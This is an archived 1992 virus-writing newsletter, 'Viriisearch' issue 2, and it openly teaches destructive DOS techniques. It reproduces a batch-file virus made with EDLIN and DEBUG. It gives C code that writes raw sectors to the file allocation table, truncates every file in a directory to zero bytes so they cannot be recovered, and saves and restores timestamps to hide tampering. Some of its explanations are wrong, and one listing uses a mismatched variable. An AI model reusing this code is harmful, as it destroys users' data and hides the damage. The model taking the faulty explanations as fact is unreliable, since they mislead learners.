💾 Archived View for spam.works › mirrors › textfiles › virus › vir-2.v1 captured on 2023-06-16 at 21:05:17.

View Raw

More Information

-=-=-=-=-=-=-

DISCLAIMER:
The author will NOT accept responsibility for any damage to your
computer media and/or files, or responsibility for any action you might
take that will result in legal proceedings, the source code, if any, in
this newsletter is THE REAL THING, and you, after you read this, will be
well aware of what virii are capable of, and knowing that, it is expected
that you will act responsibly.

DISCLAIMER II:
All I know about programming I have learned on my own, and did not go to
school for, and am still learning. As a result, I am sometimes prone to
make mistakes, and be wrong about things, so please be patient if I should
make a mistake, or say something that isn't true, which would be totally
unintentional.


				Viriisearch
				-----------

			The Virus Research Newsletter

			     Volume 1, Number 2

				   7/2/92

CREDITS:
-----------------------------------------------------------------------------
Author...................................................Criminal Minded <tm>
Editor...................................................Criminal Minded <tm>
Ideas, Source, Examples Supplied By......................Criminal Minded <tm>
Facts Stolen From Several Sources By.....................Criminal Minded <tm>
-----------------------------------------------------------------------------

Introduction:

Welcome To The Second Issue Of Viriisearch, The Virus Research Newsletter.

In this issue:

Batch File Virii: How Effective Are They?

Methods Used To Do The Following:

1. Removing/Altering Attributes On Files
2. Writing To The File Allocation Table
3. Truncating Files To 0 Bytes (They cannot be recovered with this method,
   but it is rather slow)
4. Saving/Restoring File Dates/Times
5. Formatting

Fun With COMMAND.COM
Sample Source Code Of Virii
"Suicidal Tendencies" Department/Virus Of The Month
Final Notes

-----------------------------------------------------------------------------

Batch File Virii: How Effective Are They?

-----------------------------------------------------------------------------

This Is A Batch File Virus:

-----------------------------------------------------------------------------
echo = off
ctty nul
path c:\msdos
dir *.com/w>ind

edlin ind<1
debug ind<2
edlin name.bat<3
ctty con
name

-----------------------------------------------------------------------------

This is what each line in the batch file does:

Line:                 What It Does:
-----------------------------------------------------------------------------
echo = off            Turns Echo Off
ctty nul              Turns Console Output Off
path c:\msdos         Sets up the path in the environment as C:\MSDOS
dir *.com/w>ind       Redirects the output of the command "DIR *.COM/W to a
		      File Called "IND"

edlin ind>1           Edits "IND" File Using The Edlin Commands In "1"
edlin ind>2           Edits "IND" File Using The Edlin Commands In "2"
edlin name.bat>3      Edits "NAME.BAT" Using The Edlin Commands In "3"
ctty con              Restores Output To The Console
name                  Runs NAME.BAT

-----------------------------------------------------------------------------

Contents Of The File "1"

-----------------------------------------------------------------------------

1,4d               ( Here line 1-4 of the "IND" file are deleted )
e                  ( Save file )

-----------------------------------------------------------------------------

Contents Of The File "2"

-----------------------------------------------------------------------------

m100,10b,f000      (First program name is moved to the F000H address to save)

e108 ".BAT"        (Extention of file name is changed to .BAT)
m100,10b,f010      (File is saved again)
e100"DEL "         (DEL command is written to address 100H)
mf000,f00b,104     (Original file is written after this command)
e10c 2e            (Period is placed in from of extension)
e110 0d,0a         (Carrige return+ line feed)
mf010,f020,11f     ( Modified file is moved to 11FH address from buffer area)
e112 "COPY \VR.BAT" ( COPY command is now placed in front of file)
e12b od,0a         (COPY command terminated with carriage return + lf)
rxc                ( The CX register is ... )
2c                 ( set to 2CH)
nname.bat          ( Name it NAME.BAT)
w                  ( Write )
q                  ( quit )

-----------------------------------------------------------------------------

Contents Of The File "3"

-----------------------------------------------------------------------------

0100   31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79
       1  ,  1  ?        .  .  n  y  y  y  y  y  y  y
0110   79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79
       y     .  2  ,  ?  ?  r     .  .  n  n  y  y  y
0120   79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00
       y  y  y  y     .  E  .  .  .  .  .  .  .  .  .

-----------------------------------------------------------------------------

Ok, according to the author, this batch file makes use of EDLIN and DEBUG
and only affects .COM files.

I ran it twice, first on one of my DOS bootable disks. This is the directory
listing of that disk before I ran this supposed "batch file virus"

 Volume in drive A has no label
 Volume Serial Number is 004A-1EC0
 Directory of A:\

COMMAND  COM     47845 04-09-91   5:00a
ANSI     SYS      9029 04-09-91   5:00a
RAMDRIVE SYS      5873 04-09-91   5:00a
CONFIG   SYS        39 01-01-80  12:04a
SYS      COM     13440 04-09-91   5:00a
NDOS     COM      2419 08-14-84  12:00p
UNDELETE EXE     13924 04-09-91   5:00a
MEM      EXE     39818 04-09-91   5:00a
SFORMAT  EXE     64921 08-05-91   6:01a
DEBUG    EXE     21692 06-07-90   2:24a
EDLIN    EXE     14121 06-07-90   2:24a
ATTRB    EXE      6232 01-01-80  12:21a
AUTOEXEC BAT        69 01-01-80  12:02a
NORTON   INI       530 01-01-80  12:01a
VR       BAT       112 01-01-80   7:00p
1                   10 01-01-80   7:01p
2                  171 01-01-80   7:04p
3                  269 01-01-80   7:08p
       18 file(s)     240514 bytes
		      353280 bytes free

-----------------------------------------------------------------------------

Ok, I ran VR.BAT and it accessed the disk for about 30 seconds and then the
computer froze up. So I rebooted and looked at the disk. There was no file
damage, but there were four new files on the disk:

IND             120 bytes
IND.BAK         209 bytes
NAME.BAT        120 bytes
NAME.$$        0 bytes

-----------------------------------------------------------------------------

This is the contents of "IND"


COMMAND.COM     SYS.COM         NDOS.COM
	3 file(s)      63704 bytes
		      286720 bytes free

-----------------------------------------------------------------------------

This Is The Contents Of "IND.BAK"

-----------------------------------------------------------------------------

 Volume in drive A has no label
 Volume Serial Number is 004A-1EC0
 Directory of A:\

COMMAND.COM     SYS.COM         NDOS.COM
	3 file(s)      63704 bytes
		      286720 bytes free

-----------------------------------------------------------------------------

And This Is The Contents Of "NAME.BAT"

-----------------------------------------------------------------------------
del MMAN.bat.   S
copy \vr.batO
COMMAN.bat
       3 file(s)      63704 bytes
		      286720 bytes free

-----------------------------------------------------------------------------

I Then Proceeded To Run NAME.BAT and all that did was give me a "File Not
Found" And A Few "Bad Command Or Filename"'s

I Am Not Too Sure Of What This Individual Was Attempting To Do, But I Would
Not Be Too Worried About Him Being Capable Of Doing Anything Malicious To
Your System As His Batch File Virus Is A Piece Of Shit.

Also, I Created A Directory Called MSDOS On The Disk, Copied COMMAND.COM,
SYS.COM, And NDOS.COM To That Directory And Ran VR.BAT again. It Did The Same
Thing As Before, And Did Not Do Any Damage To The Files In The Root Directory
Or A:\MSDOS

-----------------------------------------------------------------------------

Methods Used To Do The Following:

1. Removing/Altering Attributes On Files
2. Writing To The File Allocation Table
3. Truncating Files To 0 Bytes
4. Saving/Restoring File Dates/Times
5. Formatting

-----------------------------------------------------------------------------

Removing/Altering Attributes On Files:

-----------------------------------------------------------------------------

Here Is A Simple C Language Source To Change The Attributes To Normal On A
File Called "TEST.DAT"

-----------------------------------------------------------------------------

#include <dos.h>

int main        (void);

main()
{
  _dos_setfileattr("TEST.DAT", _A_NORMAL);
}

-----------------------------------------------------------------------------

I Think It's Pretty Much Self-Explanatory. <dos.h> Is Just The Header File
That Has The Prototype For "_dos_setfileattr" In It And The Definition For
The Manifest Constant "_A_NORMAL"

int main        (void);

Is The Function Prototype For "main()" Declaring It To Return Type "int" And
Is Passed No Parameters (void). This Is Keeping Up With The ANSI Standard.

Then _dos_setfileattr("TEST.DAT",_A_NORMAL);

which does the actual attribute change.

-----------------------------------------------------------------------------

Now, A Complete Utility To Change Attributes That I Wrote On 09/16/91. This
Is The Third Revision Of It, Version 3.0. I Am Proud Of This Particular
Version, As The Source Code Is 92 Lines, and 3238 Bytes. The Executable Is
9165 Bytes, Which Is Relatively Small. That Just Shows That This Is A Well
Written Utility, Especially Compared To Version 1.0, Which Was 1/3 Of The
Lines, And The Executable Was Around 20K.

-----------------------------------------------------------------------------

#include <stdio.h>
#include <dos.h>
int count1=0,loop=0;

main(argc,argv)
int argc;
char *argv[];
{
if (argc != 2) {
    printf("Usage: C>ATTRB <filespec>\n\n");
    printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
    printf("09/16/91.\n");
    exit(1);
    }
else {
struct find_t  all_file;
      while (loop!=4) {
      if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
	   printf("\nFile(s) do not exist.\n");
	   exit(1);
	   }
     else {
     printf("1. Normal\n");
     printf("2. Read Only\n");
     printf("3. Hidden\n");
     printf("4. System\n");
     printf("5. Hidden/System/Read Only\n\n");
     printf("Enter Your Choice: ");
switch(getch()) {
		case '1': loop=4;
			  _dos_setfileattr(all_file.name, _A_NORMAL);
			  printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
			  count1++;
			  while (_dos_findnext(&all_file) == 0) {
			       count1++;
			       _dos_setfileattr(all_file.name, _A_NORMAL);
			       printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
			       }
			       printf("\n%d Files.\n", count1);
			       break;
		case '2': loop=4;
			  _dos_setfileattr(all_file.name, _A_RDONLY);
			  printf("\n\nFile: %s successfully changed to: READ ONLY.\n", all_file.name);
			  count1++;
			  while (_dos_findnext(&all_file) == 0) {
			       count1++;
			       _dos_setfileattr(all_file.name, _A_RDONLY);
			       printf("File: %s successfully changed to: READ ONLY.\n", all_file.name);
			       }
			       printf("\n%d Files.\n", count1);
			       break;
		case '3': loop=4;
			  _dos_setfileattr(all_file.name, _A_HIDDEN);
			  count1++;
			  printf("\n\nFile: %s successfully changed to: HIDDEN.\n", all_file.name);
			  while (_dos_findnext(&all_file) == 0) {
			       count1++;
			       _dos_setfileattr(all_file.name, _A_HIDDEN);
			       printf("File: %s successfully changed to: HIDDEN.\n", all_file.name);
			       }
			       printf("\n%d Files.\n", count1);
			       break;
		case '4': loop=4;
			  _dos_setfileattr(all_file.name, _A_SYSTEM);
			  count1++;
			  printf("\n\nFile: %s successfully changed to: SYSTEM.\n", all_file.name);
			  while (_dos_findnext(&all_file) == 0) {
			       count1++;
			       _dos_setfileattr(all_file.name, _A_SYSTEM);
			       printf("File: %s successfully changed to: SYSTEM.\n", all_file.name);
			       }
			       printf("\n%d Files.\n", count1);
			       break;
		case '5': loop=4;
			  _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
			  count1++;
			  printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
			  while (_dos_findnext(&all_file) == 0) {
			       count1++;
			       _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
			       printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
			       }
			       printf("\n%d Files.\n", count1);
			       break;
     default: loop=5;
	      printf("\n\nThat was not a valid menu selection.\n\n");
	      printf("Please try again:\n\n");
	      break;
	      }
	   }
       }
    }
}

-----------------------------------------------------------------------------

"Dissection" Of The Source Code To Attrb v3.0

-----------------------------------------------------------------------------

int count1=0,loop=0;

This Is Just Global Declaration And Inititialization Of Two Integers, Called
"count1" and "loop"

You Should Always Initialize Your Integers To Zero, Because "C" Can Sometimes
Assign The Value To The Integer That Is In The Area Of Memory The Compiler
Sets Aside For The Integer, Which Could Result In Your Program Not Working
The Way You Wanted It To.

"count1" keeps track of the number of files whose attributes were changed
through the use of the "increment operator" ( ++ ) which adds the value of 1
to the integer everytime it changes the attribute on a file.

count1++;    /* adds the value of 1 to "count1" */

When there are no more files left to change, it prints the total number of
files whose attributes were altered with this line:

printf("\n%d Files.\n", count1);

%d is a format specifier, telling the printf function we are printing a int.
The value to print comes from "count1" at the end, printf looks in there and
obtains the value, then prints it.

-----------------------------------------------------------------------------

main(argc,argv)
int argc;
char *argv[];

-----------------------------------------------------------------------------

This is how command line parameters are incorporated into programs. argc, a
integer, keeps track of the number of actual parameters passed. char *argv[]
is the actual parameter. ATTRB v3.0 takes one command line parameter, a file
specification.

C>ATTRB30 TEST.DAT

With this, argc would = 2, and argv would be as follows:

argv[0] = "C"
argv[1] = "TEST.DAT"

argv[0] always has "C" in it.


Now, how do you make sure the person using the utility entered the command
line parameter? Like this:

if (argc != 2) {
    printf("Usage: C>ATTRB <filespec>\n\n");
    printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
    printf("09/16/91.\n");
    exit(1);
    }

argc should equal 2, so the line: if (argc!=2)

is saying: if argc doesn't equal 2 (! means NOT and = means equal)

If argc doesn't equal 2, that means no command line parameter was passed to
the program, so it carries out the four lines in between the { and the }
see below:

    printf("Usage: C>ATTRB <filespec>\n\n");
    printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
    printf("09/16/91.\n");
    exit(1);

it tells you the "usage" of the program:

Usage: C>ATTRB <filespec>

telling you it needs one command line parameter, a filespec

then it prints the name of the program, author, and date, and exits with a
error code of 1.

If argc DOES equal 2, it goes to this part of the program:

Without Comments:

else {
struct find_t  all_file;
      while (loop!=4) {
      if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
	   printf("\nFile(s) do not exist.\n");
	   exit(1);
	   }

With Comments:

else {  /* else do this if the parameter is supplied */

struct find_t  all_file; /* this tells the program we are going to use the */
			 /* structure defined in DOS.H called "find_t" */
			 /* see below for a description of "find_t" */

      while (loop!=4) { /* will keep going until loop doesn't equal 4 */

      /* this next line searches for the filename you specified, using the */
      /* "bitwise OR" operator, | to OR the attribute manifest constants */
      /* together, so it will find any file matching the one you specified */
      /* regardless of the attribute it has. If _dos_findfirst NOT equals */
      /* 0, that means the file you specified doesn't exist, so it tells */
      /* you and exits with a error code of 1 */
      /* Also in this line is where we pass argv[1] over to the "all_file" */
      /* structure, which is the same as the "find_t" structure. We just */
      /* basically changed the name with the line: struct find_t all_file */


      if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file) !=0)) {
	   printf("\nFile(s) do not exist.\n");
	   exit(1);
	   }

-----------------------------------------------------------------------------

OK, let me interrupt here for a brief discussion of the "find_t" structure
declared and defined in "DOS.H"

-----------------------------------------------------------------------------

The "find_t" structure:


struct find_t {
    char reserved[21];
    char attrib;
    unsigned wr_time;
    unsigned wr_date;
    long size;
    char name[13];
    };


Ok, a structure is just a simple way of organizing data and you won't have to
declare the data types every time, you could just use the structure.

The members of this structure are:

char reserved[21]; /* character array, can hold 21 chars. Reserved by DOS */
char attrib;       /* holds the attribute */
unsigned wr_time;  /* holds the time of the file */
unsigned wr_date;  /* holds the date of the file */
long size;         /* holds the file size */
char name[13];     /* holds the filename */

at the end of the structure is: };

this signifies the end of it the structure, but because there is no name
there, we can rename the structure to anything we line, like we did with the
line:

struct find_t all_file

now had the structure had a name there, such as:

struct find_t {
    char reserved[21];
    char attrib;
    unsigned wr_time;
    unsigned wr_date;
    long size;
    char name[13];
    } fileinfo;

we couldn't rename the structure. The members of the structure would be
referred to as:

fileinfo.attrib
fileinfo.wr_time
fileinfo.wr_date
fileinfo.size
fileinfo.name

but since we renamed the structure to "all_file"

the members are called:

all_file.attrib
all_file.wr_time

etc and so on...

Get it? Good. Now back to ATTRB v3.0

-----------------------------------------------------------------------------

We left off here:

else {
struct find_t  all_file;
      while (loop!=4) {
      if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
	   printf("\nFile(s) do not exist.\n");
	   exit(1);
	   }

As I said, in the 4th line in the above example, argv[1] is passed over to
the "all_file" structure, so argv[1] from now on will be referred to as:

all_file.name

If the above part of the program does find a matching file, it will go onto
this part of the program:

Once again, note the "if else"

In English:

if findfile function doesn't find a matching file, print message and exit.
else do this:

     else {
     printf("1. Normal\n");
     printf("2. Read Only\n");
     printf("3. Hidden\n");
     printf("4. System\n");
     printf("5. Hidden/System/Read Only\n\n");
     printf("Enter Your Choice: ");

easy eh?

you will notice the { and the } throughout the program, those are VERY, VERY
important in how your program works. I will cover those after I am done with
explaining how the program works.

Anyway, the above part of the source just displays the simple menu, showing
your choices. If you select 1, it will change the attributes of the matching
files to the normal attribute, 2 will make them read only, etc....

This is how it gets the input from the user:

switch(getch()) {

getch() is a function which means "get character"

the "switch" allows the use of "case statements"

-----------------------------------------------------------------------------

case '1': loop=4;
	  _dos_setfileattr(all_file.name, _A_NORMAL);
	  printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
	  count1++;
	      while (_dos_findnext(&all_file) == 0) {
		   count1++;
		    _dos_setfileattr(all_file.name, _A_NORMAL);
		    printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
		    }
		    printf("\n%d Files.\n", count1);
		    break;

-----------------------------------------------------------------------------

11 lines:

Line 1. Will carry out all the functions after case '1': IF the 1 key is
	pressed. Also on the first line: loop=4;
	This gives the value of 4 to the integer "loop"

	Earlier in the code, there was: while (loop!=4)
	Which will keep going until the integer holds a value other than 4
	Since we assign 4 to it at every case statement, it keeps going.
	The purpose of this is if you hit a wrong key, such as 8, which
	isn't available on the menu, it will go to default, where it assigns
	5 to loop causing it to display this message:

	      That was not a valid menu selection.

	      Please try again:

	      and then "break" out of the loop and go back to the menu, and
	      re-display it.

This is how it does it:

     default: loop=5;
	      printf("\n\nThat was not a valid menu selection.\n\n");
	      printf("Please try again:\n\n");
	      break;

-----------------------------------------------------------------------------

Now back to "case '1'"

-----------------------------------------------------------------------------

case '1': loop=4;
	  _dos_setfileattr(all_file.name, _A_NORMAL);
	  printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
	  count1++;
	      while (_dos_findnext(&all_file) == 0) {
		   count1++;
		    _dos_setfileattr(all_file.name, _A_NORMAL);
		    printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
		    }
		    printf("\n%d Files.\n", count1);
		    break;

-----------------------------------------------------------------------------

Ok, this picks up where

if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {

left off.

_dos_findfirst finds the FIRST matching file and then displays the menu. If
you select one, it will go to the case '1': statement and change the attribute
of all_file.name to NORMAL using this line:

_dos_setfileattr(all_file.name, _A_NORMAL);

Then it prints a line telling you the result. %s is another format specifier
used by printf, like %d mentioned earlier, but %s is to print a string, and
all_file.name (at the end) contains the string to be printed.

printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);

Then it adds the value of 1 to count1 to keep track of the total number of
files attributes were changed on.

count1++;

Once it does all that, it goes onto this part of the code:

 while (_dos_findnext(&all_file) == 0) {
       count1++;
	_dos_setfileattr(all_file.name, _A_NORMAL);
	printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
	}
	printf("\n%d Files.\n", count1);
	break;

This is a while loop, until _dos_findnext DOESN'T equal 0, it will keep going
because as long as it does equal 0, that means there are matching files. The
next 3 lines have already been explained. Once there are no more files, it
goes to:

	printf("\n%d Files.\n", count1);
	break;

Which prints how many files were changed, breaks out of the loop and exits
the program.

The only difference between case 1, case 2, case 3, case 4, and case 5, is
the attribute that the file is changed to.

Case 1: Normal (Can Be Deleted, Written To)
Case 2: Read Only (Cannot Be Written To Or Deleted)
Case 3: Hidden (Filename Is Not Seen When You Type DIR, But Still Can Be
	Executed If A .COM, .EXE, or .BAT File, Can Still Be Read If A
	Text File, Etc But Cannot Be Deleted, DOS Replies: File Not Found)
Case 4: System (Like The File Doesn't Exist. Cannot Be Deleted, Executed Or
	Read)
Case 5: Hidden/System/Read Only (Combination Of 3, 4 and 5)

-----------------------------------------------------------------------------

A VERY important part of C language are the curly brackets, { and }

We will now go through the code one more time telling what each { and } is
for.

I will put a number next to each one, like so: [1] and [2] and [3] etc..

at the end of the code, I will tell what each one is for.

-----------------------------------------------------------------------------

#include <stdio.h>
#include <dos.h>
int count1=0,loop=0;

main(argc,argv)
int argc;
char *argv[];
{ [1]
if (argc != 2) { [2]
    printf("Usage: C>ATTRB <filespec>\n\n");
    printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
    printf("09/16/91.\n");
    exit(1);
    } [3]
else { [4]
struct find_t  all_file;
      while (loop!=4) { [5]
      if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) { [6]
	   printf("\nFile(s) do not exist.\n");
	   exit(1);
	   } [7]
     else { [8]
     printf("1. Normal\n");
     printf("2. Read Only\n");
     printf("3. Hidden\n");
     printf("4. System\n");
     printf("5. Hidden/System/Read Only\n\n");
     printf("Enter Your Choice: ");
switch(getch()) { [9]
		case '1': loop=4;
			  _dos_setfileattr(all_file.name, _A_NORMAL);
			  printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
			  count1++;
			  while (_dos_findnext(&all_file) == 0) { [10]
			       count1++;
			       _dos_setfileattr(all_file.name, _A_NORMAL);
			       printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
			       } [11]
			       printf("\n%d Files.\n", count1);
			       break;
		case '2': loop=4;
			  _dos_setfileattr(all_file.name, _A_RDONLY);
			  printf("\n\nFile: %s successfully changed to: READ ONLY.\n", all_file.name);
			  count1++;
			  while (_dos_findnext(&all_file) == 0) { [12]
			       count1++;
			       _dos_setfileattr(all_file.name, _A_RDONLY);
			       printf("File: %s successfully changed to: READ ONLY.\n", all_file.name);
			       } [13]
			       printf("\n%d Files.\n", count1);
			       break;
		case '3': loop=4;
			  _dos_setfileattr(all_file.name, _A_HIDDEN);
			  count1++;
			  printf("\n\nFile: %s successfully changed to: HIDDEN.\n", all_file.name);
			  while (_dos_findnext(&all_file) == 0) { [14]
			       count1++;
			       _dos_setfileattr(all_file.name, _A_HIDDEN);
			       printf("File: %s successfully changed to: HIDDEN.\n", all_file.name);
			       } [15]
			       printf("\n%d Files.\n", count1);
			       break;
		case '4': loop=4;
			  _dos_setfileattr(all_file.name, _A_SYSTEM);
			  count1++;
			  printf("\n\nFile: %s successfully changed to: SYSTEM.\n", all_file.name);
			  while (_dos_findnext(&all_file) == 0) { [16]
			       count1++;
			       _dos_setfileattr(all_file.name, _A_SYSTEM);
			       printf("File: %s successfully changed to: SYSTEM.\n", all_file.name);
			       } [17]
			       printf("\n%d Files.\n", count1);
			       break;
		case '5': loop=4;
			  _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
			  count1++;
			  printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
			  while (_dos_findnext(&all_file) == 0) { [18]
			       count1++;
			       _dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
			       printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
			       } [19]
			       printf("\n%d Files.\n", count1);
			       break;
     default: loop=5;
	      printf("\n\nThat was not a valid menu selection.\n\n");
	      printf("Please try again:\n\n");
	      break;
	      } [20]
	   } [21]
       } [22]
    } [23]
} [24]

-----------------------------------------------------------------------------

For every { there has to be a }

Groups of code, such as particular functions, while loops, switch statements,
and the main body of the program are enclosed in between { and }

-----------------------------------------------------------------------------

Pairs:       What The Are For:
-----------------------------------------------------------------------------
[1] [24]     Enclose The Main Body Of The Program

[2] [3]      Enclose The Body Of Code To Execute If argc Doesn't Equal 2

[4] [21]     Enclose The Body Of Code To Execute If argc Does Equal 2

[5] [22]     Enclose The Body Of Code To Execute Until loop Doesn't Equal 4

[6] [7]      Enclose The Body Of Code To Execute If _dos_findfirst Doesn't
	     Find A Matching File

[8] [23]     Enclose The Body Of Code To Execute If _dos_findfirst Does
	     Find A Matching File

[9] [20]     For The Switch Statement Beginning And Ending

[10] [11]    Enclose The Body Of Code To Execute While _dos_findnext is
	     Still Finding Matching Files (case '1')

[12] [13]    Enclose The Body Of Code To Execute While _dos_findnext is
	     Still Finding Matching Files (case '2')

[14] [15]    Enclose The Body Of Code To Execute While _dos_findnext is
	     Still Finding Matching Files (case '3')

[16] [17]    Enclose The Body Of Code To Execute While _dos_findnext is
	     Still Finding Matching Files (case '4')

[18] [19]    Enclose The Body Of Code To Execute While _dos_findnext is
	     Still Finding Matching Files (case '5')

-----------------------------------------------------------------------------

By Now I Am Sure You Can See The Importance Of Curly Brackets And Where You
Place Them In Your Code. I Recall Someone Thinking They Were A Awesome
Programmer Because They Knew A Few Nice Third Party Commercial C Libraries,
But The Didn't Know The Language Too Well, And As A Result, He Was Not The
Great Programmer He Thought He Was.

-----------------------------------------------------------------------------

Writing/Reading The File Allocation Table:

-----------------------------------------------------------------------------

#include <bios.h>
int main (void);
main()
{
  struct diskinfo_t disk_info;

  disk_info.drive=2;    /* 0 = Drive A, 1 = Drive B, 2 = Drive C */
  disk_info.head=0;     /* disk drive head */
  disk_info.track=0;    /* track to read from */
  disk_info.sector=1;        /* Starting Sector */
  disk_info.nsectors=10;     /* Number Of Sectors To Read */

  _bios_disk(_DISK_READ,&disk_info);
}

-----------------------------------------------------------------------------

The Above Code Will Read 10 Sectors Starting At Sector 1 On Track 0, Side 0
Of Drive C.

The _bios_disk function makes use of the "diskinfo_t" structure in "BIOS.H"

The diskinfo_t structure:

			    struct diskinfo_t {
				unsigned drive;
				unsigned head;
				unsigned track;
				unsigned sector;
				unsigned nsectors;
				void far *buffer;
				};

-----------------------------------------------------------------------------

If you wanted to write to the disk rather than read from it, replace this
line:

_bios_disk(_DISK_READ,&disk_info);

With this:

_bios_disk(_DISK_WRITE,&disk_info);

_DISK_READ and _DISK_WRITE are known as 'Manifest Constants' They tell the
_bios_disk function whether to read or write...

Starting sector and number of sectors will vary depending on the media you
want to read from or write to the file allocation table (FAT) on.

-----------------------------------------------------------------------------

Truncating Files To 0 Bytes:

-----------------------------------------------------------------------------

#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <dos.h>
int main (void);
main()
{
    int fh;
    struct find_t find_all;

    _dos_findfirst("*.*",_A_NORMAL|_A_RDONLY|_A_HIDDEN|_A_SYSTEM,&find_all);
    _dos_setfileattr(find_all.name,_A_NORMAL);
    fh=open(find_all.name,O_TRUNC);
    close(fh);
    while (_dos_findnext(&all_file) == 0) {
	  _dos_setfileattr(find_all.name,_A_NORMAL);
	  fh=open(find_all.name,O_TRUNC);
	  close(fh);
	  }
}

-----------------------------------------------------------------------------

We've Already Covered _dos_findfirst, _dos_findnext, _dos_setfileattr And
Structures So We Will Concentrate On The "open" And "close" Functions, Which
Are Relatively Simple.


The Following Line Opens "find_all.name" And The Manifest Constant "O_TRUNC"
Passed To The "open" Function Causes The File Being Opened To Be Truncated
To 0 Bytes.

	  fh=open(find_all.name,O_TRUNC);

And Then We Close The Open Handle, Which Was Passed To The Integer "fh" By
The "open" Function.

		       close(fh);


When We Close The File, It Gets Written Back To The Disk In The Same Exact
Spot, But With It's Contents Destroyed. UNERASE (C) Symantec And Similar
"File Recovery" Utilities Cannot Recover The Files. The Only Drawback To This
Method Is That It Is Awfully Slow.

-----------------------------------------------------------------------------

Saving/Restoring File Dates/Times:

-----------------------------------------------------------------------------

Below is a C program to change the date and time stamp on a file called
"TEST.TXT" to 01/01/82 and 1:32am

-----------------------------------------------------------------------------

#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
int fh=0;
unsigned date=0x421;
unsigned time=0xC0F;
int main(void);
main()
{
	_dos_open("TEST.TXT",O_RDONLY,&fh);
	_dos_setftime(fh,date,time);
	_dos_close(fh);
}

-----------------------------------------------------------------------------

_dos_open is passed three parameters, the file, the mode to open the file
with, and a integer.

The file is self explanatory, the mode is O_RDONLY which is read only. It is
not neccesarry to open the file in a writable mode since we won't actually be
writing to the file. The filename is passed to the integer "fh"

The next function, _dos_setftime, is passed the integer, "fh", and the date
and time to set on the file. date and time are unsigned integers. date has
the hexadecimal value, 0x421, which is: 01/01/82 and time has the hexadecimal
value, 0xC0F, which is 1:32am. This function sets the specified date and time
and then the integer "fh" is passed to the _dos_close function, which closes
the file.

-----------------------------------------------------------------------------

We can preserve the original date and time stamp on a file by using the
function called "_dos_getftime"

-----------------------------------------------------------------------------

#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
int fh;
unsigned date;
unsigned time;
int main(void);
main()
{
	_dos_open("TEST.TXT",O_RDONLY,&fh);
	_dos_getftime(fh,&date,&time);
	_dos_close(fh);
}

-----------------------------------------------------------------------------

This program is virtually identical to the previous one except that we use
_dos_getftime in place of _dos_setftime.

-----------------------------------------------------------------------------

If you were wondering where to get the hexadecimal values for setting the
date and time, you can do it this way:

-----------------------------------------------------------------------------

#include <fcntl.h>
#include <time.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
int fh;
char filename[13] = {"*.*"};
FILE *stream;
unsigned date;
unsigned mtime;
int main(void);
main()
{
struct stat buf;
struct find_t  all_file;

stream=fopen("HEXTABLE.TXT","a");
_dos_findfirst(filename, _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file);
_dos_open(all_file.name,O_RDONLY,&fh);
_dos_getftime(fh,&date,&mtime);
fstat(fh,&buf);
_dos_close(fh);
fprintf(stream,"-----------------------------------------------------------------------------\n");
fprintf(stream,"  Hexadecimal:\t\t|  Regular:\n");
fprintf(stream,"-----------------------------------------------------------------------------\n");
fprintf(stream,"  %x   %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
while (_dos_findnext(&all_file) == 0) {
     _dos_open(all_file.name,O_RDONLY,&fh);
     _dos_getftime(fh,&date,&mtime);
     fstat(fh,&buf);
     _dos_close(fh);
     fprintf(stream,"  %x   %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
     }
     fclose(stream);
}

-----------------------------------------------------------------------------

This is actually very simple. It uses the file finding methods used in ATTRB
v3.0, discussed earlier, with one difference: It doesn't take a command line
parameter like ATTRB did...instead the filespec is declared in the code as a
character array:

char filename[13] = {"*.*"};

